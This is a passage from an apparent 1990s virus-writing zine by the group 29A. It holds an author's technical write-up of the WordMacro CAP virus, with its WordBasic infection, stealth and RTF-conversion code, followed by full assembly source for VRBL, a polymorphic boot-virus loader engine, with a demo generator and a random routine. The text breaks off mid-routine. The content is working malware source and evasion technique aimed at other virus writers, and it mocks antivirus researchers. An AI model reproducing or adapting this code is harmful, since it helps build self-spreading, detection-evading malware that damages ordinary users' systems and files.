suport" solution) and point 3.2 (The "MultiLanguage suport" example), the
search and copy of localized file related macroz from the menu itemz is
explained in full detail. This is the same aproach implemented in the CAP
virus as the next chunk of code shows:

A$ = MenuText$(0, 1)
For I = CountMacros(1) To 1 Step - 1
J = 0
B$ = MacroName$(I, 1)
Select Case MacroDesc$(B$)
Case S$ + "O"
J = 2
Case S$ + "C"
J = 3
Case S$ + "S"
J = 5
Case S$ + "SA"
J = 6
End Select
If J Then
C$ = MenuItemMacro$(A$, 0, J)
If Left$(UCase$(C$), Len(M$(J))) <> UCase$(M$(J)) And
Left$(C$, 1) <> "(" Then MacroCopy F$ + ":" + B$, C$, K
End If
Next

4.2.2. Incremental generation count


ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
One feature that has not been mentioned before is the fact that CAP con-
tains a "generation count". This count, unlike other previous macro virusez
implementin generation countz, is stored in one of the viral macroz inside
all CAP infected documentz, especificaly in the macro description field of
the "ToolsMacro" macro. This generation count can be seen in two diferent
wayz. Usin a hex editor to dump the contentz of an infected file and lookin
for somethin like "F%n" where "n" is the generation count. Or enablin the
"Tools/Macro" menu item from the "Tools" menu. If this menu item gets the
focus, the macro description will be showed in the bottom left corner of
the aplication window, revealin somethin like "F%5" where "5" in this case,
is the generation count.

It has been said that all of the CAP macroz are encrypted usin the "Execute
Only" feature provided by Word. While this is certainly true for most of
the CAP macroz, it is not true for the "ToolsMacro" macro. In other wordz,
the "ToolsMacro" macro, which is empty, is never encrypted. U mite say this
is clumsy, but it is not. The reason for this, is becoz if any macro is en-
crypted, its macro description field cannot be modified. This wouldnt allow
us to increment the generation count stored in the "ToolsMacro" macro des-
cription field. But how do we increment this generation count? the followin
piece of code answers the question:

C$ = "F%" + LTrim$(Str$(Val(Mid$(MacroDesc$("ToolsMacro"), 3)) + 1))


ToolsMacro .Name = "ToolsMacro", .Show = 1, .Description = C$, .SetDesc

The first line simply gets the "ToolsMacro" description field usin the
"MacroDesc$" function, then discards the first two characterz ("F%") usin
the "Mid$" function, then converts the remainder string to an integer usin
the "Val" function, then increments the result by simply addin "1", then
converts it back to a string usin the "Str$" function and finally concate-
nates it with "F%" to obtain the final string containin the next incremen-
ted generation count embeded with it. The second line in the above piece of
code simply sets the new description for the "ToolsMacro" macro, containin
the new incremented generation count.

The generation count is incremented after the basic set of 10 english ma-
croz have been copied to the Global template, as a result such count is in-
cremented only once for each Word aplication infected with CAP. All newly
created documentz, saved, closed or opened, will contain the same genera-
tion count at the time the Global template was infected.

4.2.3. Removal of Tool itemz - stealth


ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Perhapz one of the most known featurez of CAP is its ability to remove some
key menu itemz from the "Toolz" menu. This has been a clue for AVerz. When-
ever a Word user posted a mesage sayin his Toolz/Macro and Toolz/Customize
menu itemz disapeared, there also apeared some AVer sayin: "You have the
CAP virus". This feature has also proved to be very anoyin and frustratin
among AVerz, as it complicates to some extent the complete and correct dis-
infection of the Global "NORMAL.DOT" template, becoz userz of course, want
their menu itemz back.

In efect, some AV programz that are able to remove all of the CAP viral ma-
croz from the Global template, would find themselvez a bit frustrated at
their inability to properly fix the changez made by CAP to the Word menuz.
Its pathetic readin the comon solution provided by most of these high tech
AVerz in order to fix the problem. I still can hear them say: "Exit Word,
delete NORMAL.DOT, Start Word, now the menu itemz are back". While this
straightforward solution certainly works, it proves to be quite ineficient
and exagerated as well. C'mon the fastest and most efective solution was at
the "right click" of a mouse! Well, heh.. sometimez i think it is true some
AVerz have 4 bugz playin cardz in their brainz :) This solution even worked
on my Word 6.0 runin on Win3.1, not just Win95.

Just in case u need the solution, its very simple: Right-click over some
place at the toolbar, the Customize window box opens, select the "Menus"
tab, push the "Reset All" buton then click OK, thats all. After these stepz
the menu itemz "Toolz/Macro", "Toolz/Customize", etc, are back. However, no
matter the first or second procedure is used if the user has made menu cus-
tomizationz or added some butonz to his toolbar, they are lost after doin
any of these stepz. There exists however a third solution not mentioned be-
fore in which the user wont lose any of his customizationz except of course
his own macroz (now deleted) if they existed. It consists of addin the lost
menu itemz one by one usin the "Add" buton from inside the "Customize" win-
dow box. Good enough, now lets continue with our stuff.

The actual implementation of the macro code targeted to remove these menu
itemz is very simple, but it certainly looks somewhat complicated and messy
if u have a first look at the virus code itself:

For I = 0 To 1
If I Then J = 1 Else J = 6
A$ = MenuText$(I, J)
J = CountMenuItems(A$, I) - 1
For M = J To 1 Step - 1
If InStr(MenuItemMacro$(A$, I, M), "Macro") Then
If I Then
B$ = MenuItemMacro$(A$, I, M - 2)
If UCase$(B$) <> UCase$(M$(9)) And
Left$(B$, 1) <> "(" Then MacroCopy "ToolsMacro", B$, K
Else
M = M + 1
End If
For T = M To M - 1 Step - 1
If T > 3 Then ToolsCustomizeMenus .MenuType = I,
.Position = T,
.Name = MenuItemMacro$(A$, I, T),
.Menu = A$, .Remove, .Context = 0
Next
M = 1
T = 0
End If
Next
Next

This code starts by inspectionin each of the menu itemz from the "Toolz"
menu from top to bottom, scanin each name for the word "Macro" inside them.
If any of the menu itemz contains such word as part of its name, then CAP
asumes it has found the position for the "Toolz/Macro" menu item inside the
"Toolz" menu. If this condition is met, CAP deletes the actual menu item
(Toolz/Customize). If the virus is searchin inside the "File" menu - with
no documentz opened - (second step) and if the word "Macro" is found inside
any of the menu itemz from such "File" menu, CAP removes the actual menu
item (Toolz/Macro) and the "previous" one - not the next one - which in the
case of the "File" menu (with no documentz opened), is really a "separator"
itself startin with "(".

If u are curious enough, u'll notice somethin in the above code not mentio-
ned in the latter explanation. There is a "MacroCopy" function. This func-
tion gets control when the "Filez" menu is bein scaned and the "Toolz/Ma-
cro" item is found as well. Its sole purpose is to copy the "FileTemplatez"
macro to the current localized macro name.

If for some reason, the above stepz dont work, i.e. the "Toolz/Macro" menu
item could not be found, for example in German versionz of Word where "Ma-
cro" is spelled as "Makro", then another chunk of code is executed:

A$ = MenuText$(1, 1)
[...]
J = CountMenuItems(A$, 1) - 1
[...]
For I = 6 To J
If Left$(MenuItemMacro$(A$, 1, I), 1) = "(" And
Left$(MenuItemMacro$(A$, 1, I - 2), 1) = "(" Then
For T = 1 To 3 Step 2
B$ = MenuItemMacro$(A$, 1, I - T)
If Left$(B$, 1) <> "(" Then MacroCopy M$(T + 6), B$, K
Next
I = J
End If
Next

This code actually tries to make some guessez about where the "Toolz/Macro"
and "File/Templatez" menu itemz are located in the "File" menu (when no fi-
lez are opened). If these checkz are passed then the "ToolsMacro" and "File
Templates" macroz are copied to their respective localized macro namez. Un-
fortunately after CAP was released i realized that the condition block for
the "If" statement never met becoz of a certain detail i didnt realize.
This is the reason why in German version of Word or in general in any other
localized version where the word "macro" is not found in the menu itemz,
there won't be an equivalent localized macro for "FileTemplates" nor "Tools
Macro". Well what TF nobody's perfect! #8I.

4.3. Document, template and RTF infection


ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
It has been said that CAP, as with any other macro virus, infects Word do-
cumentz and templatez. However what AVerz seem to have missed at all is the
fact that CAP also infects documentz in RTF (Rich Text Format) layout. If
AVerz argue that RTF filez cant contain macroz at all, they are certainly
right. But hey, nothin stop us from convertin the RTF file into a Word tem-
plate and then copy our macroz there! If so, the file will still have the
RTF extension but will contain a template format inside. Here's the code:

Dim D As FileSaveAs
GetCurValues D
If N < 10 And D.Format = 1 Or D.Format = 0 Or D.Format = 6 Then
D.Format = 1
For I = CountMacros(0) To 1 Step - 1
B$ = MacroName$(I, 0)
If B$ <> "ToolsMacro" Then K = - 1 Else K = 0
MacroCopy B$, F$ + ":" + B$, K
Next
FileSaveAs D
End If

The above code simply checks for 3 posible conditionz: if the file is a
clean template, if the file is a document or if it has a RTF layout. If any
of these conditionz is met, the object will become infected. The infection
consists of copyin all the CAP macroz (english macroz plus localized ones
if they exist) from inside the Global template to the object bein infected
(DOT, DOC or RTF). Note in the "For" loop that when the macro name matches
"ToolsMacro", it will be copied in unencrypted form (K=0) in order to keep
the generation count alive.

4.4. Disablin of AutoMacroz


ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Probably u have heard about some macro virusez bein able to "enable" Auto-
Macroz just in case they have been turned off. A clear example is the Word-
Macro.Colors virus which enables AutoMacroz each time the "Tools/Macro" me-
nu item is activated. While this could have some benefitz, it could also
add some drawbackz and dangerous efectz to our macro virus. If AutoMacroz
are enabled, then any AutoMacro that had been turned off in any template
will be reactivated. As a result, if the global template had an "AutoOpen"
macro, it will be executed each time a new document is opened. However if
the document about to be opened contains another "AutoOpen" macro, perhaps
bein part of the same or "another" macro virus, then this latter macro will
be executed "first" than the "AutoOpen" macro from inside the global tem-
plate. This means that another "foreign" macro virus could be executed
"first" without our knowledge!

If survival is critical for our macro virus, then its quite obvios that en-
ablin AutoMacroz should be avoided if posible. If another macro virus gets
the control before ours, posibly by meanz of one of its AutoMacroz, then it
could wipe away all of our own macroz from the global template, thus des-
troyin and removin our macro virus. This is unavoidable and very likely to
hapen if AutoMacroz are enabled, so u better think about it the next time u
enable AutoMacroz.

If our macro virus consists only of one single AutoOpen macro then disablin
AutoMacroz will obviosly stop all chancez to spread our virus further, so
thats perhaps a bad idea. However if our virus contains other macroz that
could automaticaly be executed or activated by other user actionz such as
keystrokez, file menu itemz, toolbar butonz, etc, then the "disablin" of
AutoMacroz would prove to be a much more atractive and robust aproach as it
will guarantee the survival of our macro virus.

4.5. The "SaveAs" problem solved


ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Its kind of curious that the AVP virus description was the only one mentio-
nin something about CAP bein able to "emulate" the "SaveAs" function, how-
ever it ended up sayin the rubish inaccurate statement: "it writes an empty
document to disk". While its worth from Kasper realizin about the "SaveAs"
emulation its unforgivable for any AVer not knowin how Word templatez work.
CAP, when emulatin the "SaveAs" function, doesnt write any "empty" document
to disk, it rather creates a new clean document based on the active tem-
plate, which is the infected document itself and as such it is not empty.
Then CAP saves to disk the new document dependin on the users choice at the
"SaveAs" dialog box and finally infects it. The whole purpose of all this,
is just make the user happy by lettin him select the drive, file format and
directory names when the "SaveAs" dialog box appears.
In the article "Macro virus tricks", point 2 (The "SaveAs" problem), point
2.1 (The "SaveAs" solution) and point 2.2 (The "SaveAs" example), it is ex-
plained in full detail how this "SaveAs" emulation can be achieved in order
to solve the "SaveAs" problem.

5. Shortcutz
ÄÄÄÄÄÄÄÄÄÄÄÄ
(*) alt.comp.virus

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8
> CAP.A is a fairly new Word Macro virus. The latest version of McAfee
> should be able to clean it. If it doesn't, you might want to try
> F-Macro from http://www.datafellows.com

BTW, down here (Belgium, Luxembourg, France) and among our global
customers, the CAP virus family has almost instantly become the most
widespread virus we have ever met. Roughly 80% (yes eighty percent)
of all our virus related tech support calls have been about that virus
during the last two months.
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8

(*) alt.comp.virus

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8
> L'accorgimento sembra proprio funzionare (il che mi fa supporre che sia
> un virus del piffero, visto che si lascia aggirare cos facilmente),

Non farti ingannare. Per essere un macro virus, il Macro.Word.Cap e'


piuttosto complesso e contiene una tecnica innovativa che gli permette
di bypassare le barriere poste dalla localizzazione di Word e quindi di
intercettare delle macro sistema in molte versioni di Word che usano un
linguaggio diverso dall'Inglese. Da un punto di vista prettamente
tecnico, il Cap e' un virus tutt'altro che banale.
In genere, il Normal.dot non e' mai protetto dalla scrittura, per cui i
virus writer che scrivono macro virus hanno un approccio diverso
rispetto a quello di chi scrive virus piu' "tradizionali". Non e' un
caso se il Macro.Word.Cap e' ormai uno dei virus piu' diffusi in Italia,
se non addirittura il piu' diffuso in assoluto nel nostro paese.

> 2) che effetti provoca il macro virus CAP (ammesso che fosse quello),
> oltre a cancellare la macro e a nascondere alcuni comandi di Word?

Nulla di particolare.
Il virus intercetta il comando di sistema FileSalvaConNome e controlla
se viene utilizzato per scrivere documenti, modelli o file in formato
Rich Text Format (RTF). In questi casi, converte il file in un modello e
lo infetta. Come risultato si ottiene che un file salvato in formato
RTF, che normalmente non contiene macro, sara' comunque infetto, dal
momento che in realta' verra' salvato come modello.
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8

(*) http://www.geocities.com/SiliconValley/Heights/3652/F.HTM

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8
Virus Alerts

(based on messages posted to alt.comp.virus)

08-11-97: WM/CAP is becoming the most common virus


05-12-97: Hoax virus alert posted to several newsgroups
05-08-97: WM/Helper virus will put passwords on documents
04-27-97: Word Macro NPad virus in the wild
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8

(*) http://www.sophos.com/virusinfo/topten/jul97.html

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8
Top ten viruses reported to
Sophos last month July 1997 virus top ten
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
July 1997

This month Last month


Name Percentage of reports
ÄÄÄÄÄÄÄÄÄÄ ÄÄÄÄÄÄÄÄÄÄ
ÄÄÄÄ ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
1 1 Winword/CAP 14.1%
2 5 Form 12.7%
3 3 Anticmos 8.5%
4 7 Winword/Concept 7.0%
5 8 Excel/Laroux 5.6%
5 15 New Zealand-i 5.6%
5 2 Parity Boot 5.6%
8 5 Winword/Npad 4.2%
9 3 CMOS4 2.8%
9 new Winword/Switchr 2.8%
Others 31.1%
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8

(*) http://www.itasa.com.mx/fprot/soporte/mexvir.htm

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8
Los virus mas comunes en Mexico

VIRUS CATEGORIA IDENTIFICABLE REMOVIBLE PROCEDIMIENTO


ÄÄÄÄÄÄÄÄ ÄÄÄÄÄÄÄÄÄ ÄÄÄÄÄÄÄÄÄÄÄÄÄ ÄÄÄÄÄÄÄÄÄ ÄÄÄÄÄÄÄÄÄÄÄÄÄ
CAP.A Macro s¡ s¡ F-POTATOE 2.27+ (Windows)
15 Years MBR s¡ s¡* Fixdisk repair
Concept Macro s¡ s¡ F-POTATOE (Windows)
Wazzu Macro s¡ s¡ F-POTATOE (Windows)
NPad Macro s¡ s¡ F-POTATOE (Windows)
Implant MBR/com/exe s¡ s¡ F-IMPLAN (v. nota t‚c. #60)
Monkey MBR s¡ s¡ F-potatoe /hard /disinf
Byway com/exe s¡ s¡** Ver nota t‚cnica #58
Natas MBR/com/exe s¡ s¡ F-potatoe /hard /disinf
Boot.437 Boot s¡ s¡ Sys c: diskette.
Exebug MBR s¡ s¡ F-potatoe /hard /disinf
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8

Btw, note that Implant (original name: SuckSexee), another virus written by
a 29A member (GriYo), ranks sixth as the most widespread virus in Mexico.

(*) http://www.dataalert.com/top.htm

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8
Virussen Top 10
Data Alert International B.V.
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

De meest gerapporteerde en voorkomende virussen in de BeNeLux.

JULI-AUGUSTUS 1997

Rang Virusnaam Virustype


ÄÄÄÄ ÄÄÄÄÄÄÄÄÄ ÄÄÄÄÄÄÄÄÄ
1. WM/Cap Macro
2. XM/Laroux Macro
3. Antiexe Boot
4. WM/Npad Macro
5. AntiCMOS.A Boot
6. WM/Concept Macro
7. Junkie Multi
8. Ripper Boot
9. NYB Boot
10. Parity.Boot Boot
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8

(*) http://www.virusbtn.com/Prevalence/199708.html

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8
VB Prevalence Table, August 1997

Virus Name Type Number of incidents Percentage


ÄÄÄÄÄÄÄÄÄÄ ÄÄÄÄ ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ÄÄÄÄÄÄÄÄÄÄ
CAP Macro 145 28.5%
Concept Macro 51 10.0%
NPad Macro 39 7.7%
Dodgy Boot 26 5.1%
Parity_Boot Boot 24 4.7%
Form Boot 21 4.1%
AntiEXE Boot 19 3.7%
Temple Macro 16 3.1%
Laroux Macro 15 3.0%
Wazzu Macro 14 2.8%
[...]
Total: 508 100.0%
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8

6. Disclaimer
ÄÄÄÄÄÄÄÄÄÄÄÄÄ
This information is for educational purposez only. The author is not res-
ponsible for any problemz caused by the use of this information.

(c) 1997. Jacky Qwerty/29A.


;
; . .: .:.. :.. .. .:.::. :. ..:
; <<-==ÜÛÛÛÛÛÜ=ÜÛÛÛÛÛÜ=ÜÛÛÛÛÛÜ===<
; .:: ÛÛÛ ÛÛÛ:ÛÛÛ ÛÛÛ.ÛÛÛ ÛÛÛ .:.
; . .:.ÜÜÜÛÛß.ßÛÛÛÛÛÛ.ÛÛÛÛÛÛÛ:..
; ...ÛÛÛÜÜÜÜ:ÜÜÜÜÛÛÛ:ÛÛÛ ÛÛÛ.::.
; >===ÛÛÛÛÛÛÛ=ÛÛÛÛÛÛß=ÛÛÛ ÛÛÛ=->>
; .: .:.. ..:. .: ..:.::. ::.. :.:.
;
; [VRBL]
; Vecna's Random Boot Loader
;
;
; This is the first polymorphic engine exclusively designed for boot viruses
; ever, and it's, maybe, one of the most variable engines in the world! This
; engine creates a loader, to be put in the MBR/BOOT, and sets up registers
; for further polymorphism in the virus body. The engine, btw, is very small
; as it's only 739 bytes long.
;
; The engine operates this way: first it creates random movs, jmps, xchgs,
; adds, xors, and so on. They are fully random, with no fixed structure. Af-
; ter this, it executes the loader in single step mode. The int 1 handler
; checks for the end of the generated code, when it passes control to the
; final routine, which fixes the needed registers, thru xors, adds and subs,
; using the values that are already held in the registers. So, not even the
; moves are fixed. After this, the loader passes control to the virus body,
; either by an intersegmented jump, or by means of a retf instruction.
;
; The engine has two EQUates, which are SIZE_IN_SECTORS and SEGMENT_VALUE.
; In SIZE_IN_SECTORS you must put the size of your virus divided by 512, and
; in SEGMENT_VALUE, the value of the segment you want your virus to get con-
; trol of. As your virus probably gets mem from 0:[413h], you should not put
; very high values here, because your virus may overwrite itself when moving
; to the final segment. In machines with 640kb of conventional memory, which
; is the most common value nowadays, the max value is 640-((SIZE_IN_SECTORS*
; 512)*2). Remember also not to put this value in the 7c0h-7b0h or 0h-100h
; segment area, because of the original boot and the IVT presence.
;
; In short, use 2000 and it will work. ;-)
;
; Below you will find the code for VRBL, and later a demo test program which
; shows the effectivity of the engine, and the randomizer routine that I de-
; signed especifically for it. Hope you enjoy it!

; - -[VRBL.ASM] - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8
;
; Poly engine for boot loader
; Entry:
; DI = buffer to put loader in
; CX = cylynder of code
; DX = head of code
; Exit:
; All preserved

size_in_sectors equ 3
segment_value equ 2000h

makeloader proc
pusha
push ds
push es
push cs
push cs
pop es
pop ds
call random_init
mov word ptr ds:[_CX], cx
mov word ptr ds:[_DX], dx
call random
and ax, 000111111b
or al, 10000b
mov cx, ax
mov word ptr [START], di
call random
and ax, 011111b
add al, 000111b
push cx
mov cx, ax
MyBrainIsUpsideDown:
call make_mov
loop MyBrainIsUpsideDown
pop cx
LoveKills:
push cx
NowIWannaSniffSomeGlue:
call random
and ax, 0111b
shl ax, 1
mov si, offset GARBAGE_TABLE
add si, ax
cmp si, word ptr ds:[LAST_CHOOSEN]
je NowIWannaSniffSomeGlue
mov word ptr ds:[LAST_CHOOSEN], si
call word ptr ds:[si]
pop cx
loop LoveKills
mov word ptr [STOP], di
push 0
pop ds
push dword ptr ds:[1*4]
mov word ptr ds:[1*4], offset INT1
mov word ptr ds:[1*4+2], cs
mov word ptr cs:[_SP], sp
mov ax, ss
mov word ptr cs:[_SS], ax
mov cx, 8
IDontWantBeBuriedInAPetCemetary:
push 0
loop IDontWantBeBuriedInAPetCemetary
popa
push 0100h
push cs
push word ptr cs:[START]
iret
endp makeloader

db '[VRBL]'

make_jmp proc
call random
mov al, 0ebh
and ah, 000001111b
or ah, 00000011b
stosw
movzx cx, ah
RamonesMania:
call random
stosb
loop RamonesMania
ret
endp make_jmp

make_inst_inst proc
call random
and ax, 01100000111b
mov bx, offset TABLE_INST_INST
xlat
or al, ah
stosb
SpiderMan:
call random
and ax, 00111111b
mov cx, ax
mov dx, ax
shr dx, 3
and cx, 0111b
cmp cx, dx
je SpiderMan
cmp cx, 0100b
je SpiderMan
cmp dx, 0100b
je SpiderMan
or ax, 11000000b
stosb
ret
endp make_inst_inst

table_inst_inst equ this byte


db 00001000b
db 10001000b
db 00100000b
db 00010000b
db 00000000b
db 00011000b
db 00101000b
db 00110000b

make_inst_sec proc
mov al, 011110111b
stosb
TheKKKTookMyBabyAway:
call random
and ax, 0000011100111000b
cmp ah, 00000100b
je TheKKKTookMyBabyAway
cmp al, 00010000b
jb TheKKKTookMyBabyAway
cmp al, 00101000b
ja TheKKKTookMyBabyAway
or al, ah
or al, 011000000b
stosb
ret
endp make_inst_sec

make_one_byte proc
mov si, offset table_one
call random
and ax, 00001111b
movsb
ret
endp make_one_byte

table_one equ this byte


clc
cld
cli
stc
std
sti
cmc
cwd
cbw
lodsb
scasb
sahf
lahf
int 3
nop
db 0f1h

make_inst_imm proc
mov bx, offset i_table
mov al, 10000001b
stosb
DoYouWannaDance:
call random
and ax, 0000011100000111b
cmp ah, 0100b
je DoYouWannaDance
xlat
or al, ah
stosb
call random
stosw
ret
endp make_inst_imm

i_table equ this byte


db 11000000b
db 11001000b
db 11010000b
db 11011000b
db 11100000b
db 11101000b
db 11110000b
db 11111000b

inc_dec_ proc
IWannaBeSedated:
call random
and al, 01111b
mov cl, al
and cl, 0111b
cmp cl, 0100b
je IWannaBeSedated
or al, 01000000b
stosb
ret
endp inc_dec_
make_mov proc
call random
and al, 0111b
cmp al, 0100b
je make_mov
or al, 010111000b
stosb
call random
stosw
ret
endp make_mov

start equ this byte


dw 0

last_choosen equ this byte


dw 0

garbage_table equ this byte


dw offset make_inst_inst
dw offset make_mov
dw offset make_inst_sec
dw offset make_inst_imm
dw offset inc_dec_
dw offset make_one_byte
dw offset make_jmp
dw offset make_mov

int1 proc
push bp
mov bp, sp
cmp word ptr cs:[bp+2], 1234h
stop equ word ptr $-2
jae fixreg
pop bp
iret
endp int1

fixreg proc
mov word ptr cs:[SAVE_AX], ax
mov word ptr cs:[SAVE_BX], bx
mov word ptr cs:[SAVE_CX], cx
mov word ptr cs:[SAVE_DX], dx
cli
mov sp, 1234h
_sp equ word ptr $-2
mov ax, 1234h
_ss equ word ptr $-2
mov ss, ax
sti
push 0
pop ds
pop dword ptr ds:[1*4]
push cs
push cs
pop ds
pop es
mov di, word ptr [STOP]
BornToDieInBerlin:
mov bp, 0
ImAStumpedStormtropperYesIAm:
mov si, offset TABLE_FIX
call random
and ax, 0111b
cmp al, 6
jae ImAStumpedStormtropperYesIAm
shl ax, 1
add si, ax
call word ptr [si]
call random
jp IBelieveInMiracles
call make_jmp
IBelieveInMiracles:
cmp bp, 0111111b
jne ImAStumpedStormtropperYesIAm
jmp HeyOhLetsGo

table_fix equ this byte


dw offset make_ax
dw offset make_bx
dw offset make_cx
dw offset make_dx
dw offset make_es
dw offset make_override

make_ax:
bts bp, 0
jc $ret
mov dl, 000b
mov bx, word ptr [SAVE_AX]
mov cx, word ptr [_AX]
$put:
mov al, 010000001b
stosb
call random
and ax, 011b
cmp al, 1
je @sub
cmp al, 2
je @add
@xor:
xor bx, cx
mov al, 011110000b
jmp store
@sub:
sub bx, cx
mov al, 011101000b
jmp store
@add:
sub bx, cx
neg bx
mov al, 011000000b
store:
and al, not(0111b)
or al, dl
stosb
xchg ax, bx
stosw
$ret:
ret
make_bx:
bts bp, 1
jc $ret
mov dl, 011b
mov bx, word ptr [SAVE_BX]
mov cx, word ptr [_BX]
jmp $put
make_cx:
bts bp, 2
jc $ret
mov dl, 001b
mov bx, word ptr [SAVE_CX]
mov cx, word ptr [_CX]
jmp $put
make_dx:
bts bp, 3
jc $ret
mov dl, 010b
mov bx, word ptr [SAVE_DX]
mov cx, word ptr [_DX]
jmp $put
make_es:
bts bp, 4
jc $ret
bt bp, 5
jc SadMOV
PushPop:
mov al, 68h
stosb
mov ax, SEGMENT_VALUE
stosw
mov al, 0
org $-1
pop es
stosb
jmp $ret
SadMOV:
mov al, 010111101b
stosb
mov ax, SEGMENT_VALUE
stosw
mov al, 010001110b
stosb
mov al, 011000101b
stosb
; mov bp, SEGMENT_VALUE
; mov es, bp
jmp $ret
make_override:
bts bp, 5
jc $ret
mov al, 68h
stosb
mov ax, SEGMENT_VALUE
stosw
mov bl, byte ptr [seg_need]
TryES:
cmp bl, 26h
jne TryCS
; mov al, 0
; org $-1
; pop es
; stosb
CleanDI:
sub di, 3
jmp $ret
TryCS:
cmp bl, 2eh
je CleanDI
; mov al, 0
; org $-1
; pop cs
; stosb
TrySS:
cmp bl, 36h
jne TryDS
mov al, 0
org $-1
pop ss
jmp BackInBlack
TryDS:
cmp bl, 90h
jne TryFS
mov al, 0
org $-1
pop ds
BackInBlack:
stosb
jmp $ret
TryFS:
cmp bl, 64h
jne TryGS
mov ax, 1234h
org $-2
pop fs
jmp BackToTheHell
TryGS:
mov ax, 1234h
org $-2
pop gs
BackToTheHell:
stosw
jmp $ret
HeyOhLetsGo:
mov ax, 013cdh
stosw
call random
bt ax, 1
jc make_jump
make_retf:
mov ax, 00
org $-2
push es
push bx
stosw
mov al, 0
org $-1
retf
stosb
jmp done
make_jump:
mov al, 0eah
stosb
mov ax, word ptr cs:[_BX]
stosw
mov ax, SEGMENT_VALUE
stosw
jmp done
done:
mov word ptr [STOP], di
pop es
pop ds
popa
ret
endp fixreg

_AX dw 200h+size_in_sectors
_BX dw 0
_CX dw ?
_DX dw ?

save_AX dw ?
save_BX dw ?
save_CX dw ?
save_DX dw ?

; - -[DEMO.ASM] - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8
;
; This demo program generates 99999999 little demos of my engine. This code
; must reside in the MBR or the boot sector of a floppy or harddrive. They
; will load the rest of the virus from other track. They're very variable.
; This code is designed to run in a boot, so, if you execute the demos they
; will surely crash. Check the code with a debugger.

.model tiny
.code
.startup
.386

push cs
pop ds
push cs
pop es
do_next:
call random_init
mov di, 08000h
mov cx, 1
mov dx, 0180h
call makeloader
mov ah, 3ch
mov dx, offset fn2
xor cx, cx
int 21h
jc exit_dem
xchg ax, bx
mov ah, 40h
mov cx, word ptr [STOP]
mov dx, word ptr [START]
sub cx, dx
int 21h
mov ah, 3eh
int 21h
cmp byte ptr ds:[fn2+7], '9'
je zero_1
inc byte ptr ds:[fn2+7]
jmp next_file
zero_1:
mov byte ptr ds:[fn2+7], '0'
cmp byte ptr ds:[fn2+6], '9'
je zero_2
inc byte ptr ds:[fn2+6]
jmp next_file
zero_2:
mov byte ptr ds:[fn2+6], '0'
cmp byte ptr ds:[fn2+5], '9'
je zero_3
inc byte ptr ds:[fn2+5]
jmp next_file
zero_3:
mov byte ptr ds:[fn2+5], '0'
cmp byte ptr ds:[fn2+4], '9'
je zero_4
inc byte ptr ds:[fn2+4]
jmp next_file
zero_4:
mov byte ptr ds:[fn2+4], '0'
cmp byte ptr ds:[fn2+3], '9'
je zero_5
inc byte ptr ds:[fn2+3]
jmp next_file
zero_5:
mov byte ptr ds:[fn2+3], '0'
cmp byte ptr ds:[fn2+2], '9'
je zero_6
inc byte ptr ds:[fn2+2]
jmp next_file
zero_6:
mov byte ptr ds:[fn2+2], '0'
cmp byte ptr ds:[fn2+1], '9'
je zero_7
inc byte ptr ds:[fn2+1]
jmp next_file
zero_7:
mov byte ptr ds:[fn2+1], '0'
cmp byte ptr ds:[fn2], '9'
je exit_dem
inc byte ptr ds:[fn2]
jmp next_file
next_file:
jmp do_next
exit_dem:
int 20h

fn2 db '00000000.COM',0

seg_need db 65h

include random.asm
org 01000h
include vrbl.asm
end

; - -[RANDOM.ASM] - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8
;
; This is a slow random number generator. This type of random number gene-
; rators are ideal for polymorphic viruses, because AVs will need to work
; hard in order to create a reliable algorithm to detect the virus. Despite
; of this, I changed it not to be slow, so I can demostrate the variability
; of the engine. You need to call first RANDOM_INIT, then RANDOM to get the
; random values back in AX.

random_init proc
pusha
push es
push ds
push cs cs
pop ds es
mov ah, 8
mov dl, 80h
; int 13h
mov ax, 201h
mov bx, offset random_table
and cx, 0111111b
mov dx, 0080h
; int 13h
cmp dword ptr ds:[bx], ' );'
; je TableDone
CreateTable:
mov di, bx
mov cx, 512
NextRandom:
in al, 40h
xor byte ptr [X_V], al
in al, 40h
add byte ptr [X_V], al
jmp $+2
mov al, 00
X_V equ $-1
stosb
loop NextRandom
WriteTable:
mov ah, 8
mov dl, 80h
